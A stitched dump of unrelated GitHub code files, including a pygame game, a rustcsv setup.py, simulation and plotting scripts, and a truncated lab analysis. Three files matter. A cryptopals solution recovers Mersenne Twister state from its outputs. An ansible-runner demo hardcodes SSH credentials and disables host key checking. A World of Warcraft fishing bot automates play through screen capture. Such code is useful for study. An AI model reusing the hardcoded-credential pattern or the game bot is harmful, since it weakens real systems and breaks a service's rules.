pygame.K_SPACE:\r\n player.shoot()\r\n \r\n key_box = pygame.key.get_pressed()\r\n # 遊戲更新\r\n all_sprites.update() \r\n score += 1\r\n if player.HP == 0:\r\n game_over = True\r\n # 火球和草堆 碰撞判斷\r\n hits = pygame.sprite.groupcollide(haystacks, fires, True, True)\r\n for i in hits:\r\n score += 50 \r\n haystack = Haystack()\r\n all_sprites.add(haystack)\r\n haystacks.add(haystack)\r\n if random.random() > 0.8:\r\n gadgat = Gadgat(i.rect.center)\r\n all_sprites.add(gadgat)\r\n gadgats.add(gadgat)\r\n # 飛龍和草堆 碰撞判斷\r\n hits_1 = pygame.sprite.spritecollide(player, haystacks, True)\r\n for i in hits_1:\r\n player.HP -= 10\r\n haystack = Haystack()\r\n all_sprites.add(haystack)\r\n haystacks.add(haystack) \r\n # 飛龍和石頭 碰撞判斷\r\n hits_2 = pygame.sprite.spritecollide(player, rocks, True)\r\n for i in hits_2:\r\n player.HP -= 10\r\n rock = Rock() \r\n all_sprites.add(rock)\r\n rocks.add(rock) \r\n # 飛龍和道具 碰撞判斷 \r\n hits_3 = pygame.sprite.spritecollide(player, gadgats, True)\r\n for i in hits_3:\r\n if i.type == 'HPO':\r\n player.HP += 25\r\n if player.HP > 100:\r\n player.HP = 100\r\n score += 50\r\n elif i.type == 'PWO':\r\n player.POWER += 50\r\n if player.POWER > 100:\r\n player.POWER = 100\r\n score += 50\r\n \r\n # 畫面顯示 \r\n screen.blit(pygame.transform.scale(BG_img,(800,400)), (0, 0))\r\n all_sprites.draw(screen)\r\n draw_Power(screen, player.POWER, 10, 10)\r\n draw_HP(screen, player.HP, 10, 25)\r\n draw_Text(screen, str(score), 18, 50, 50)\r\n pygame.display.update()\r\n\r\npygame.quit","repo_name":"ZeroOfSleeping/PyGame","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":12070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"13143356228","text":"def isToeplitz(arr):\n for i in range(1,len(arr)):\n for j in range(1,len(arr[i])):\n curr = arr[i][j]\n\n if curr != arr[i-1][j-1]:\n return False\n\n if i < len(arr)-1 and j < len(arr[i])-1 and curr != arr[i+1][j+1]:\n return False\n\n return True","repo_name":"rushman7/WhiteboardingPractice","sub_path":"LeetCode/2d_arrays/toeplitz_matrix.py","file_name":"toeplitz_matrix.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"1627522815","text":"import os\nimport sys\n\nfrom setuptools import find_packages, setup\nfrom setuptools.command.test import test as TestCommand\n\n\ndef get_env_bool(key, default=None):\n value = os.environ.get(key)\n if value is None:\n return default\n\n if value.lower() in (\"true\", \"1\"):\n return True\n elif value.lower() in (\"false\", \"0\", \"\"):\n return False\n else:\n raise ValueError(\n \"Could not parse environment variable {key}'s value {value} as \"\n \"bool \".format(key=key, value=value)\n )\n\n\nRUSTCSV_BUILD_DEBUG = get_env_bool(\"RUSTCSV_BUILD_DEBUG\", False)\nRUSTCSV_BUILD_NATIVE = get_env_bool(\"RUSTCSV_BUILD_NATIVE\", True)\n\ntry:\n from setuptools_rust import RustExtension, Binding\nexcept ImportError:\n import subprocess\n\n errno = subprocess.call(\n [sys.executable, \"-m\", \"pip\", \"install\", \"setuptools-rust\"]\n )\n if errno:\n print(\"Please install setuptools-rust package\")\n raise SystemExit(errno)\n else:\n from setuptools_rust import RustExtension, Binding\n\n\nclass PyTest(TestCommand):\n user_options = []\n\n def run(self):\n self.run_command(\"test_rust\")\n\n import subprocess\n import sys\n\n errno = subprocess.call([sys.executable, \"-m\", \"pytest\", \"tests\"])\n raise SystemExit(errno)\n\n\nsetup_requires = [\"setuptools-rust>=0.10.1\", \"setuptools_scm>=3.1.0\"]\ninstall_requires = [\"attrs\", \"click\"]\ntests_require = install_requires + [\"pytest\", \"pytest-benchmark\"]\n\nLONG_DESCRIPTION = None\n\ntry:\n LONG_DESCRIPTION = open(\"README.rst\").read()\nexcept Exception:\n pass\n\nsetup(\n name=\"rustcsv\",\n use_scm_version=dict(write_to=\"rustcsv/_version.py\"),\n author=\"Joar Wandborg\",\n author_email=\"joar@wandborg.se\",\n url=\"https://github.com/joar/rust-csv-py\",\n long_description=LONG_DESCRIPTION,\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"Programming Language :: Python\",\n \"Programming Language :: Rust\",\n \"Operating System :: POSIX\",\n \"Operating System :: MacOS :: MacOS X\",\n ],\n packages=find_packages(),\n rust_extensions=[\n RustExtension(\n \"rustcsv._rustcsv\",\n \"Cargo.toml\",\n binding=Binding.PyO3,\n native=RUSTCSV_BUILD_NATIVE,\n debug=RUSTCSV_BUILD_DEBUG,\n )\n ],\n entry_points={\"console_scripts\": [\"rustcsv=rustcsv.__main__:cli\"]},\n tests_require=tests_require,\n setup_requires=setup_requires,\n install_requires=install_requires,\n include_package_data=True,\n zip_safe=False,\n cmdclass=dict(test=PyTest),\n)\n","repo_name":"joar/rust-csv-py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"33749038855","text":"from FoodSupplyModel import FridgeAgent, TruckAgent, FoodSupplyModel\nfrom TableVisualization import TableVisualization\nfrom mesa.visualization.modules import CanvasGrid, ChartModule, TextElement\nfrom mesa.visualization.ModularVisualization import ModularServer, VisualizationElement\n\n\ncolors = [\"Red\", \"Green\", \"Yellow\", \"Blue\", \"Orange\", \"Violet\", \"Pink\", \"DarkRed\", \"Khaki\", \"LightSeaGreen\"]\n\n\ndef fridgePortrayal(fridge):\n portrayal = {\n \"Shape\": \"rect\",\n \"Filled\": True,\n \"w\": 0.8,\n \"h\": 0.8,\n \"Color\": colors[fridge.fridgeId],\n \"Layer\": 1\n }\n return portrayal\n\n\ndef truckPortrayal(truck):\n portrayal = {\n \"Shape\": \"circle\",\n \"Filled\": True,\n \"r\": 0.7,\n \"Color\": \"Black\",\n \"Layer\": 2\n }\n return portrayal\n\ndef agentPortrayal(agent):\n if isinstance(agent, FridgeAgent):\n return fridgePortrayal(agent)\n if isinstance(agent, TruckAgent):\n return truckPortrayal(agent)\n\n\ndef getFridgeTableHeader(model):\n return model.productTypes\n\ndef getFridgeTableValues(model):\n return list(map(lambda fridge: fridge.contents.copy(), model.fridges.copy())) + [model.truck.loadProductAmounts()]\n\ndef getFridgeTableFormatings(model):\n return [{\"color\": color} for color in colors] + [{\"color\": \"Black\", \"bold\": True}]\n\nclass DaysCounter(TextElement):\n def render(self, model):\n return \"Days: %d\" % model.schedule.days \n\n\ngrid = CanvasGrid(agentPortrayal, 20, 20, 500, 500)\nfridgesStates = TableVisualization(getFridgeTableHeader, getFridgeTableValues, getFridgeTableFormatings)\ndaysCounter = DaysCounter()\n\n\nserver = ModularServer(FoodSupplyModel, [grid, fridgesStates, daysCounter], \"Food supply model\", 10, 20, 20)\nserver.port = 8889\nserver.launch()","repo_name":"prolativ/FridgeAgents","sub_path":"FoodSupplyServer.py","file_name":"FoodSupplyServer.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7838162441","text":"import time\nimport random\n\nclass MersenneTwister:\n # constants for MT19937\n w, n, m, r = 32, 624, 397, 31\n a = 0x9908B0DF\n u, d = 11, 0xFFFFFFFF\n s, b = 7, 0x9D2C5680\n t, c = 15, 0xEFC60000\n l = 18\n f = 1812433253\n\n def __init__(self, seed):\n self.state = [0]*self.n\n self.index = self.n\n self.wmask = ((1 << self.w) - 1)\n self.lower_mask = (1 << self.r) - 1\n self.upper_mask = (~self.lower_mask) & self.wmask\n self.seed(seed)\n\n def seed(self, seed):\n self.state[0] = seed\n for i in range(1,self.n):\n self.state[i] = ((self.f * (self.state[i-1] ^\n (self.state[i-1] >> (self.w-2))) + i)\n & self.wmask)\n\n def rand(self):\n if self.index >= self.n:\n self.twist()\n y = self.state[self.index]\n\n y ^= ((y >> self.u) & self.d)\n y ^= ((y << self.s) & self.b)\n y ^= ((y << self.t) & self.c)\n y ^= (y >> self.l)\n\n self.index += 1\n\n return y & self.wmask\n\n def twist(self):\n for i in range(self.n):\n x = ((self.state[i] & self.upper_mask) +\n (self.state[(i+1) % self.n] & self.lower_mask))\n xA = x >> 1\n if x % 2 != 0:\n xA = xA ^ self.a\n self.state[i] = self.state[(i+self.m) % self.n] ^ xA\n self.index = 0\n\nw = 32\nu = 11\ns, b = 7, 0x9D2C5680\nt, c = 15, 0xEFC60000\nl = 18\n\ndef undo_rightshift(y,s):\n for i in range(31-s,-1,-1):\n y ^= ((y & (1 << (i+s))) >> s)\n return y\n\ndef undo_leftshiftandmask(y,s,m):\n for i in range(s,32):\n y ^= ((y & (1 << (i-s))) << s) & m\n return y\n\ndef temper(y):\n y ^= (y >> u) # anding with d = 0xFFFFFFFF does nothing\n y ^= ((y << s) & b)\n y ^= ((y << t) & c)\n y ^= (y >> l)\n return y & ((1 << w) - 1)\n\ndef untemper(y):\n y = undo_rightshift(y,l)\n y = undo_leftshiftandmask(y,t,c)\n y = undo_leftshiftandmask(y,s,b)\n y = undo_rightshift(y,u)\n return y & ((1 << w) - 1)\n\nassert untemper(temper(12345)) == 12345\n\nmt = MersenneTwister(12345)\nstate = []\nfor i in range(624):\n state.append(untemper(mt.rand()))\n\nmt2 = MersenneTwister(0)\nmt2.state = state\n\nfor i in range(1000):\n assert mt.rand() == mt2.rand()\n\nprint(\"All good!\")\n","repo_name":"ubuntor/cryptopals-cryptochalls","sub_path":"set3/23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37168278940","text":"\"\"\"Generalized Bisection Visualization\n\nMethod of Bisecting Triangles to solve a System\nof Nonlinear Equations using simplified version\nof Harvey-Stenger 2D Analogue Method.\n\nRequires numpy and matplotlib.\n\n:author: Oscar Veliz\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef F(x, y):\n \"\"\"Function of 2 variables\n :param x: the x value\n :param y: the y value\n :return: tuple. (x²-y-1,x-y²+1)\n \"\"\"\n return (x**2.0-y-1.0, x-y**2.0+1.0)\n\n\ndef npF(X):\n \"\"\"numpy version of F\"\"\"\n return np.array(F(X[0], X[1]))\n\n\ndef triToPoints(T):\n \"\"\"Convert Matrix of 3 points to tuple\n :param T: Triangle with 3 points\n :return: (A,B,C)\n \"\"\"\n return (T[0, :], T[1, :], T[2, :])\n\n\ndef L(A, B, X):\n \"\"\"Harvey-Stenger linear form L(A,B,X)\n :param A: [x,y] point as ndarray\n :param B: [x,y] point as ndarray\n :param X: [x,y] point as ndarray\n :return: result of linear form equation\n \"\"\"\n return (B[1]-A[1])*(X[0]-A[0]) - (B[0]-A[0])*(X[1]-A[1])\n\n\ndef check(T, V):\n \"\"\"Harvey-Stenger test if a point V is inside a triangle with points in the matrix T\n :param T: Three points A, B, and C in a matrix\n :param V: Point to test\n :return: True when V is in T, False otherwise\n \"\"\"\n A, B, C = triToPoints(T)\n return L(A, B, V)*L(A, B, C) >= 0 and L(B, C, V)*L(B, C, A) >= 0 and L(C, A, V)*L(C, A, B) >= 0\n\n\ndef center(T):\n \"\"\"Compute the center of a Triangle\n :param T: A triangle\n :return: the average (center) of the three points\n \"\"\"\n A, B, C = triToPoints(T)\n return (A+B+C)/3.0\n\n\ndef eval(T):\n \"\"\"Evaluate a matrix of 3 points\n :param T: Matrix of 3 points A, B, and C\n :return: [F(A),F(B),F(C)] as ndarray\n \"\"\"\n A, B, C = triToPoints(T)\n return np.array([npF(A), npF(B), npF(C)])\n\n\ndef rotate(T):\n \"\"\"Given matrix of three points, rotate the points so AB is longest\n :param T: Matrix representing a triangle with 3 points\n :return: Rotated version of same Triangle\n \"\"\"\n A, B, C = triToPoints(T)\n ab = np.linalg.norm(A-B)\n bc = np.linalg.norm(B-C)\n ca = np.linalg.norm(C-A)\n if ab >= bc and bc >= ca:\n return np.array([A, B, C])\n elif ab >= ca and ca >= bc:\n return np.array([B, A, C])\n elif bc >= ca and ca >= ab:\n return np.array([B, C, A])\n elif bc >= ab and ab >= ca:\n return np.array([C, B, A])\n elif ca >= ab and ab >= bc:\n return np.array([C, A, B])\n else:\n return np.array([A, C, B])\n\n\ndef drawTri(T):\n \"\"\"Draws a triangle given matrix with three points\"\"\"\n s = np.vstack([T, T[0, :]])\n x = s[:, 0]\n y = s[:, 1]\n plt.plot(x, y, '-')\n plt.fill(x, y, alpha=0.1)\n\n\ndef setup(d=(-3.5, 3.5), r=(-2, 2), size=(16, 9), res=100000):\n \"\"\"Sets up the plotting space\n :param d: domain tuple default to (-3.5,3.5)\n :param r: range tuple default to (-2,2)\n :param size: figure size default to (16,9)\n :param res: number of points in plot, default 1000000\n Lower the res if it is taking too long to plot\n \"\"\"\n x = np.linspace(d[0], d[1], res)\n y = x**2 - 1 # x² - y - 1\n plt.figure(figsize=size)\n plt.plot(x, y, 'b', label='x²-y-1')\n plt.plot(y, x, 'g', label='x-y²+1')\n plt.grid(True, linestyle=':')\n plt.xlim([d[0], d[1]])\n plt.ylim([r[0], r[1]])\n plt.xlabel('x')\n plt.ylabel('y')\n plt.legend()\n plt.title('Generalized Bisection')\n\n\ndef main():\n \"\"\"Implementation of 2D Bisection based on simplified\n version of Harvey-Stenger 2D Analogue\n \"\"\"\n setup()\n A = np.array([1.0, 0.5])\n B = np.array([1.5, 2.0])\n C = np.array([2.0, 2.0])\n D = np.array([2.0, 1.5])\n R = np.array([A, B, C])\n S = np.array([A, D, C])\n drawTri(R)\n drawTri(S)\n i = 0\n eps = 10**-6\n zero = np.zeros(2)\n E = (A+B+C+D)/4\n longest = max(np.linalg.norm(C-A), np.linalg.norm(D-B))\n while np.linalg.norm(npF(E)) >= eps and longest >= eps and i < 100:\n evalR = eval(R)\n evalS = eval(S)\n # drawTri(evalR) # uncomment to see searched area\n # drawTri(evalS) # uncomment to see searched area\n if check(evalR, zero):\n T = R\n # print(\"R\") # uncomment to see choice\n elif check(evalS, zero): # change to else for efficiency\n T = S\n # print(\"S\") # uncomment to see choice\n else: # for safety, when neither contains zero\n print(\"problem\")\n break\n T = rotate(T)\n drawTri(T)\n A, B, C = triToPoints(T)\n E = center(T)\n D = (A+B)/2.0\n longest = np.linalg.norm(B-A)\n R = np.array([A, D, C])\n S = np.array([D, B, C])\n i += 1\n print(E, np.linalg.norm(npF(E)), i)\n print(T)\n plt.plot(0, 0, marker=\"+\", markersize=7, markeredgecolor=\"black\")\n #plt.plot(E[0], E[1], marker=\".\",markersize=7,markerfacecolor=\"black\", markeredgecolor=\"black\")\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"osveliz/numerical-veliz","sub_path":"src/systems/GeneralizedBisection.py","file_name":"GeneralizedBisection.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"0"}
+{"seq_id":"73362459557","text":"from protopixel import Content\nfrom openframeworks import *\nimport os.path\nfrom tempfile import mkdtemp\n\n\nclass Sunset:\n\n def __init__(self, width, height):\n\n self.width = width\n self.height = height\n self.shader = ofShader()\n self.fbo = ofFbo()\n self.fbo.allocate(width,height)\n self.currentAlpha = 1.0\n self.targetAlpha = 1.0\n self.elapsedTime = 0.0\n self.one_day_in_seconds = 60*60*24\n self.speed = 1.0\n self.setup()\n\n\n def setup(self):\n self.setupShader()\n\n def update(self):\n self.updateTime()\n self.updateAlpha()\n self.updateFbo()\n\n def updateTime(self):\n self.elapsedTime += ofGetLastFrameTime()\n if self.elapsedTime > self.one_day_in_seconds:\n self.elapsedTime-= self.one_day_in_seconds\n\n def updateAlpha(self):\n self.currentAlpha = self.currentAlpha + (self.targetAlpha - self.currentAlpha)*0.02\n # print self.currentAlpha \n\n def updateFbo(self):\n self.fbo.begin()\n ofClear(0)\n ofSetColor(255)\n self.drawShader()\n self.fbo.end()\n\n def draw(self):\n\n self.fbo.draw(0,0)\n #self.drawShader()\n\n def drawShader(self):\n\n if self.shader.isLoaded():\n self.shader.begin()\n self.shader.setUniform1f('alpha', self.currentAlpha)\n self.shader.setUniform1f('iGlobalTime', self.elapsedTime*self.speed)\n self.shader.setUniform3f('iResolution', float(self.width), float(self.height),0.0)\n ofDrawRectangle(-self.width/2.,-self.height/2.,self.width,self.height)\n #self.fbo.draw(0,0)\n \n self.shader.end()\n \n\n def setAlpha(self, alpha):\n self.targetAlpha = alpha\n\n def setupShader(self):\n\n temp_dir = mkdtemp()\n frag_file = os.path.join(temp_dir,'s.frag')\n vert_file = os.path.join(temp_dir,'s.vert')\n shader_file_of = os.path.join(temp_dir,'s')\n\n self.vert_contents = \"\"\"\n #version 150\n\n in vec4 position;\n out vec4 position_frag;\n\n void main() {\n gl_Position = position;\n position_frag = position;\n }\n \"\"\"\n\n\n self.frag_contents_prefix = \"\"\"\n #version 150\n out vec4 outputColor;\n uniform vec3 iResolution;\n uniform float iGlobalTime;\n uniform float alpha = 1.0;\n\n in vec4 position_frag;\n \"\"\"\n\n\n self.frag_contents = \"\"\"\n \n void mainImage( out vec4 fragColor, in vec2 fragCoord ) {\n\n // Normalized pixel coordinates (from 0 to 1)\n vec2 uv = fragCoord/iResolution.xy;\n\n // Time varying pixel color\n vec3 col = 0.5 + 0.5*cos(sin(iGlobalTime/2.)+uv.xyx+vec3(0,2,41));\n\n // Output to screen\n fragColor = vec4(col,alpha);\n }\n\n \"\"\"\n\n self.frag_contents_suffix = \"\"\"\n void main()\n {\n vec2 pos = position_frag.xy;\n pos.x /= 2.0;\n pos.y /= 2.0;\n pos.x += 0.5;\n pos.y += 0.5;\n pos.x *= iResolution.x;\n pos.y *= iResolution.y;\n mainImage( outputColor, pos);\n }\n \"\"\" \n\n with open(frag_file,'w') as f:\n f.write(self.frag_contents_prefix)\n f.write(self.frag_contents)\n f.write(self.frag_contents_suffix)\n with open(vert_file,'w') as f:\n f.write(self.vert_contents)\n self.shader.load(shader_file_of)\n\n","repo_name":"ImanolGo/IngoLedMapper","sub_path":"ProtoPixels/Sunset.py","file_name":"Sunset.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30071252019","text":"## Execute the fix job in OpenGuard by calling the API\n\nimport time\nimport urllib.request\nimport urllib.parse\nfrom urllib.request import urlopen\nimport json\nimport requests\nfrom datetime import datetime\nimport ansible_runner\nimport base64\nfrom urllib.error import HTTPError, URLError\n\nimport yaml\nimport sys\nimport os\n\n## logging config start\n# import logging\n# logging.basicConfig(level=logging.DEBUG)\n## logging config end\n\n## Ansible runner \ndef run_ansible():\n\n inventory_file = 'ansible_data/inventory/this_inventory'\n hosts = {\n 'hosts': {\n 'ubuntu': {\n 'ansible_host': '192.168.56.35',\n 'ansible_user': 'devops',\n 'ansible_password': 'devops',\n 'ansible_ssh_common_args': ' -o StrictHostKeyChecking=no ',\n }\n },\n }\n \n print(hosts)\n\n\n ## create file manually due to persmission issue\n this_inventory = \"Ubuntu-20-CP ansible_host=192.168.56.35 ansible_user=devops ansible_password=devops\"\n new_inventory = open(inventory_file, \"w\")\n new_inventory.write(this_inventory)\n new_inventory.close()\n\n\n ## fetch and assign extra variables\n extravars = {\n 'NODES': 'all'\n }\n\n ## build kwargs for passing to runner\n kwargs = {\n 'playbook': 'test.yaml',\n 'inventory': {'all': hosts},\n #'inventory': inventory_file,\n #'envvars': envvars,\n 'extravars': extravars,\n 'private_data_dir': 'ansible_data'\n }\n\n\n print(\"exec mode\")\n #ansiblerunner = ansible_runner.run(private_data_dir='ansible_data', \n # playbook='test.yml')\n\n ## run ansible_runner with **kwargs\n\n ansiblerunner = ansible_runner.run(**kwargs)\n print(\"hhh\")\n\n #print(\"{}: {}\".format(ansiblerunner.status, ansiblerunner.rc))\n # successful: 0\n #for each_host_event in ansiblerunner.events:\n # print(each_host_event['event'])\n #print(\"Final status:\")\n #print(ansiblerunner.stats)\n\n ## delete the hosts.json file\n try:\n os.remove( base_dir + \"/ansible_data/inventory/hosts.json\" )\n #print(\"Stop file deleted\")\n except Exception as exc:\n #print(\"Unable to delete host file\" + str(exc))\n sys.exit(5)\n\n #remove ssh key\n try:\n ssh_file = open( base_dir + \"/ansible_data/env/ssh_key\", \"w\")\n ssh_file.write('')\n ssh_file.close()\n except Exception as exc:\n #print(\"Unable to delete key file\" + str(exc))\n sys.exit(5)\n \n #try:\n # os.remove( base_dir + \"/ansible_data/env/ssh_key\" )\n # #print(\"Stop file deleted\")\n #except Exception as exc:\n # #print(\"Unable to delete key file\" + str(exc))\n # sys.exit(5)\n\n\n\n return ansiblerunner.rc\n\ndef app_logger(log_message):\n dateTimeObj = datetime.now()\n timestampStr = str(dateTimeObj.strftime(\"%Y-%b-%d-%H:%M:%S\"))\n new_log = open( base_dir + '/application_logs/logs', \"a\")\n log_line = timestampStr + \": \" + log_message\n new_log.write(log_line + '\\n' )\n print(log_line)\n new_log.close() \n\n## debug mode testng, comment below line\nrun_ansible()\n","repo_name":"iamgini/openguard-runner","sub_path":"ansible-runner-demo.py","file_name":"ansible-runner-demo.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"791933576","text":"\nimport pyautogui\nimport cv2\nimport imutils\nimport pytesseract\nimport time\nimport numpy\nimport math\nimport json\n\nleft = 749\nwidth = 427\ntop = 126\nheight = 507\nfishingRegion = (left, top, width, height)\n\ndef __main():\n time.sleep(2.0)\n print(\"Start.\")\n\n while True:\n fishOnce()\n\n print(\"Finished.\")\n\ndef fishOnce():\n eroseMask = create_circular_mask(5)\n print(eroseMask)\n\n # Throw fishing bobber.\n pyautogui.hotkey('0')\n\n fishing = True\n start = time.time()\n now = start\n delta = 0\n i = 0\n prevFrame = None\n prevFrameExists = False\n\n # Keep track of when (time s) possible bobber was detected and where (x,y)\n motionHistory = []\n\n while fishing and now - start <= 30.0:\n # Detect motion over fishing area.\n frame = captureFishingArea()\n\n if (prevFrameExists):\n diff = cv2.absdiff(prevFrame, frame)\n # grayscale + threshold\n diff = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY)\n ret, diff = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n # diff = cv2.adaptiveThreshold(diff, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2)\n\n # erose/dilate\n diff = cv2.erode(diff, eroseMask)\n diff = cv2.dilate(diff, eroseMask, iterations=3)\n\n # detect blobs\n params = cv2.SimpleBlobDetector_Params()\n params.filterByCircularity = False\n params.filterByConvexity = False\n params.filterByInertia = False\n params.filterByColor = False\n params.filterByArea = True\n params.minArea = 700\n params.maxArea = 1000000000\n params.minDistBetweenBlobs = 500\n detector = cv2.SimpleBlobDetector_create(params)\n keypoints = detector.detect(diff)\n # cache possible bobber movement.\n for keypoint in keypoints:\n motionHistory.append({\n 'frame': i,\n 'time': time.time(),\n 'location': keypoint.pt,\n 'duration': delta\n })\n\n # debug\n debug = cv2.cvtColor(diff, cv2.COLOR_GRAY2BGR)\n ret, mask = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\n debug[mask != 255] = [0, 0, 255]\n debug = cv2.drawKeypoints(debug, keypoints, numpy.array([]), (0, 255, 0),\n cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n # Attempt detect bobber catch from motionHistory.\n # - Bobber movement lasts ~1.0 seconds.\n # - Bobber movement stays at the same location for its whole duration.\n\n # Remove motions that are older than memoryPeriod\n memoryPeriod = 1.2\n requiredForBobber = 0.8\n for motion in motionHistory:\n if motion['time'] < time.time() - memoryPeriod:\n # Remove motion.\n motionHistory.remove(motion)\n\n # Group motionHistory according to location.\n groupedMotionHistory = []\n for motion in motionHistory:\n location = motion['location']\n group = None\n for existingGroup in groupedMotionHistory:\n groupLocation = existingGroup['location']\n dist = math.sqrt(\n math.pow(groupLocation[0] - location[0], 2) + math.pow(groupLocation[1] - location[1], 2))\n if dist <= 100:\n # Group together.\n group = existingGroup\n break\n if group is None:\n group = {\n 'location': location,\n 'motions': []\n }\n groupedMotionHistory.append(group)\n motions = group['motions']\n motions.append(motion)\n # Recalculate group location by averaging its motion locations.\n locationsSum = (0, 0)\n for nMotion in motions:\n locationsSum = (locationsSum[0] + nMotion['location'][0], locationsSum[1] + nMotion['location'][1])\n group['location'] = (int(locationsSum[0] / len(motions)), int(locationsSum[1] / len(motions)))\n\n # Count how long motion groups were active during the last ~second.\n for group in groupedMotionHistory:\n activeDuration = 0\n for motion in group['motions']:\n if motion['time'] >= time.time() - memoryPeriod:\n activeDuration += motion['duration']\n group['activeDuration'] = activeDuration\n\n print(json.dumps(group, indent=4))\n\n # Check for group that was active for long enough.\n bobberLocation = None\n for group in groupedMotionHistory:\n if group['activeDuration'] >= requiredForBobber:\n bobberLocation = group['location']\n break\n\n if bobberLocation is not None:\n # Bobber detected!\n print(\"Bobber detected at\", bobberLocation)\n x = int(bobberLocation[0])\n y = int(bobberLocation[1])\n debug = cv2.rectangle(debug, (x - 50, y - 50), (x + 50, y + 50), (0, 255, 255), 3)\n\n cv2.imshow(\"Vision\", diff)\n cv2.imshow(\"Debug\", debug)\n\n if bobberLocation is not None:\n cv2.waitKey(100)\n # Move mouse to bobber location.\n xWindow = x + fishingRegion[0]\n yWindow = y + fishingRegion[1]\n delay = 0.5\n pyautogui.moveTo(xWindow, yWindow, duration=delay, tween=pyautogui.easeInOutQuad)\n # Shift + Right click\n pyautogui.keyDown('shiftleft')\n time.sleep(delay + 0.2)\n pyautogui.click() # Extra click to focus window.\n time.sleep(0.2)\n pyautogui.rightClick()\n time.sleep(1.0)\n pyautogui.keyUp('shiftleft')\n\n # Clear history.\n motionHistory = []\n prevFrameExists = False\n now = time.time()\n\n # Exit function.\n return\n\n cv2.waitKey(100)\n prevFrame = frame\n prevFrameExists = True\n delta = time.time() - now\n now = time.time()\n i += 1\n\ndef create_circular_mask(size):\n mask = numpy.zeros((size, size), numpy.uint8)\n r = size / 2.0\n for x in range(0, size):\n for y in range(0, size):\n dx = (x + 0.5) - r\n dy = (y + 0.5) - r\n dist = math.sqrt(math.pow(dx, 2) + math.pow(dy, 2))\n if dist <= r:\n mask[x,y] = 1\n return mask\n\ndef captureFishingArea():\n # hardcoded region.\n screenshot = pyautogui.screenshot(region=fishingRegion)\n frame = PILtoCV(screenshot)\n return frame\n\ndef PILtoCV( pilImage ):\n openCvImage = numpy.array(pilImage)\n # Convert RGB to BGR\n openCvImage = openCvImage[:, :, ::-1].copy()\n return openCvImage\n\ndef captureBobberLabelArea():\n screenshot = pyautogui.screenshot()\n # hardcoded crop.\n left = 1620\n right = left + 152\n top = 902\n bottom = top + 31\n screenshot = screenshot.crop((left, top, right, bottom))\n #screenshot.save(\"screenshot.png\")\n return screenshot\n\ndef checkIsBobberUnderMouse():\n bobberLabelAreaPicture = captureBobberLabelArea()\n text = pytesseract.image_to_string(bobberLabelAreaPicture)\n if \"Fishing Bobber\" in text:\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n __main()\n","repo_name":"Nipatsku/wow-fisher","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"1579974284","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nAnalyse Keio Follow-up Acute Effect Antioxidant Rescue experiment\n- window feature summaries for Ziwei's optimal windows around each bluelight stimulus\n- Bluelight delivered for 10 seconds every 5 minutes, for a total of 45 minutes\n\nWhen do we start to see an effect on worm behaviour? At which timepoint/window? \nDo we still see arousal of worms on siderophore mutants, even after a short period of time?\n\n@author: sm5911\n@date: 20/01/2022\n\n\"\"\"\n\n#%% Imports\n\nimport pandas as pd\nimport seaborn as sns\nfrom tqdm import tqdm\nfrom pathlib import Path\n\nfrom preprocessing.compile_hydra_data import compile_metadata, process_feature_summaries\nfrom filter_data.clean_feature_summaries import clean_summary_results\nfrom visualisation.plotting_helper import sig_asterix, boxplots_sigfeats, all_in_one_boxplots\nfrom write_data.write import write_list_to_file\nfrom time_series.plot_timeseries import plot_window_timeseries_feature\n\nfrom tierpsytools.preprocessing.filter_data import select_feat_set\nfrom tierpsytools.analysis.statistical_tests import univariate_tests, get_effect_sizes\n\n#%% Globals\n\nPROJECT_DIR = '/Volumes/hermes$/Saul/Keio_Screen/Data/Keio_Acute_Rescue'\nSAVE_DIR = '/Users/sm5911/Documents/Keio_Acute_Rescue'\n\nN_WELLS = 6\n\nFEATURE_SET = ['speed_50th']\n\nnan_threshold_row = 0.8\nnan_threshold_col = 0.05\n\nscale_outliers_box = False\n\nALL_WINDOWS = False\nWINDOW_LIST = None # if ALL_WINDOWS is False\n\n# Featsums 10 seconds centred on end of each BL pulse and also 20-30 seconds after end of each BL pulse\nWINDOW_DICT = {0:(305,315),1:(330,340),\n 2:(605,615),3:(630,640),\n 4:(905,915),5:(930,940),\n 6:(1205,1215),7:(1230,1240),\n 8:(1505,1515),9:(1530,1540),\n 10:(1805,1815),11:(1830,1840),\n 12:(2105,2115),13:(2130,2140),\n 14:(2405,2415),15:(2430,2440)}\n\nWINDOW_NAME_DICT = 